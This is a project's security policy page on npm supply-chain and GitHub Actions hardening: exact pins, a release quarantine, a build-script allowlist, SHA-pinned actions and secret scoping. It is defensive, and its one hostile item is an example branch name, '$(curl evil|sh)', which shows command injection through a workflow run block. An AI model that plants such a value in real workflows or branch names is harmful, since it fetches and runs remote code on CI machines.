Skip to content

Security

TL;DR: Every dependency is exact-pinned and quarantined for 7 days before install; version ranges exist only as CVE floor-pins in pnpm-workspace.yaml; GitHub Actions are SHA-pinned with least-privilege tokens; deploy credentials live in org-level secrets that Dependabot PRs never receive.


The May 2026 npm supply-chain campaign (“Mini Shai-Hulud”, CVE-2026-45321 / GHSA-g7cv-rxg3-hmpx) published dozens of malicious @tanstack/* Router/Start versions. Scanners flagged them within minutes — but any fresh install inside that window resolved them. This repo was audited and found clean: it depends on @tanstack/react-query only, which was never compromised. Everything below is precautionary hardening, not breach remediation.

A floating range (^/~) plus a regenerated lockfile is the exact mechanism such campaigns exploit: the install resolves a version published seconds earlier, before anyone has looked at it.


Every entry in dependencies / devDependencies / optionalDependencies is an exact, registry-resolved version. Forbidden: ^ and ~ ranges, latest, and github: / git+ / git: specifiers. peerDependencies are exempt — ranges are correct there.

Enforcement points:

  • scripts/check-package-policy.mjs — pre-commit (Husky + lint-staged) rejects any staged package.json that violates the rule.
  • savePrefix: "" in pnpm-workspace.yaml — a plain pnpm add <pkg> writes an exact pin by default.
  • Human-merged Dependabot PRs only (auto-merge off) — see DEPENDENCY_UPDATES.md.

The one exception: pnpm-workspace.yaml overrides may use version ranges, and only as CVE floor-pins (>=<patched-version>, optionally ceilinged below the next major when the majors are untested). Floors let future security patches flow through while making the vulnerable range unresolvable anywhere in the tree. Every override carries an inline comment naming the advisory and reason — keep that discipline. Don’t convert floors to exact pins.


Install-time hardening (pnpm-workspace.yaml)

Section titled “Install-time hardening (pnpm-workspace.yaml)”
KnobWhat it does
minimumReleaseAge + minimumReleaseAgeStrictPublication quarantine — pnpm install refuses versions younger than the window (7 days, aligned with Dependabot’s cooldown). Urgent-patch bypass protocol: DEPENDENCY_UPDATES.md.
minimumReleaseAgeExcludeExact-version-pinned bypasses, each with a reviewed-by/date comment. Never exclude a bare package name — the next release must face the quarantine again.
strictDepBuilds + allowBuildsLifecycle scripts are blocked unless allowlisted; an unapproved build script is a hard install failure, not a silent skip. Add a package only when install hard-fails on it AND the script is legitimate (e.g. workerd arrives transitively at deploy time when wrangler installs).
pmOnFail: errorAny pnpm version other than package.jsonpackageManager hard-fails instead of proceeding.

  • Review the pnpm-lock.yaml diff on every PR. New package names appearing under an unrelated bump are the #1 worm signature.
  • A single-dep bump that adds more than a handful of new lockfile packages → stop and audit the diff before committing.
  • pnpm why <pkg> traces which dependent pulled a transitive.

  1. Advisory hits a transitive → add a floor-pin override (<pkg>: ">=<patched>") to pnpm-workspace.yaml first; it substitutes tree-wide immediately.
  2. Bump the direct dependency once a verified-clean release exists; the override stays as the permanent floor.
  3. Dependabot security PRs arrive individually and immediately (they skip cooldown and grouping) — highest merge priority after review.

  • Never interpolate ${{ }} inside a run: block. Bind untrusted context (branch names, PR titles, anything user-influenced) to step-level env: and reference the shell variable. A branch named $(curl evil|sh) executes otherwise.
  • Top-level least-privilege permissions: on every workflow; per-job blocks escalate only where needed.
  • SHA-pin every action (uses: org/action@<40-char-sha> # vN). Dependabot’s github-actions PRs flag SHA changes but do NOT validate them — reviewing the action’s commit diff before merge IS the control, especially for non-actions/* orgs.
  • No third-party personal-account action may handle deploy credentials. Only first-party actions (actions/*, cloudflare/*, anthropics/*, pnpm/*) or inline CLI calls touch secrets. This is why the old cleanup.yml (a personal-account action holding CLOUDFLARE_API_TOKEN) was removed outright rather than SHA-pinned — do not restore it.
  • CI installs run pnpm install --frozen-lockfile; the lifecycle-script gate is the allowBuilds allowlist above.
  • docs-maintainer.yml is the highest-residual-surface workflow (a bot with contents: write pushing to PR branches) — changes to it get extra scrutiny.

  • CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID are org-level Actions secrets — invisible at repo scope (gh secret list won’t show them; direct API GETs return 404 for org members). CLOUDFLARE_PROJECT_NAME and VITE_* are repo variables: they ship in the public bundle by design and are not secrets.
  • Dependabot-authored PR runs receive no repo/org secrets (GitHub keeps a separate, empty secret store for them). The “Deploy to Cloudflare Pages” check therefore always fails on Dependabot PRs — expected, not a regression. Only Install / Test / Build failures on those PRs are real.
  • Wrangler auth failures are self-triaging — two distinct messages:
    • “it’s necessary to set a CLOUDFLARE_API_TOKEN environment variable” → token absent (the secret was never injected into this run — e.g. the Dependabot case above).
    • “Authentication error [code: 10000]” + “custom API token set in an environment variable” → token present but rejected — the org secret is expired / rotated / mis-scoped. Fix is owner-side: issue a Cloudflare token with Account → Cloudflare Pages → Edit on the right account and update the org secret. Production and preview deploys share this token — both are blocked until it’s fixed.

  • scripts/check-package-policy.mjs — exact-pin pre-commit gate
  • pnpm-workspace.yaml — quarantine, build-script allowlist, CVE floor-pin overrides
  • .github/dependabot.yml — monthly grouped routine PRs, immediate security PRs, 7-day cooldown
  • DEPENDENCY_UPDATES.md — the operational runbook (lanes, verification commands, quarantine bypass)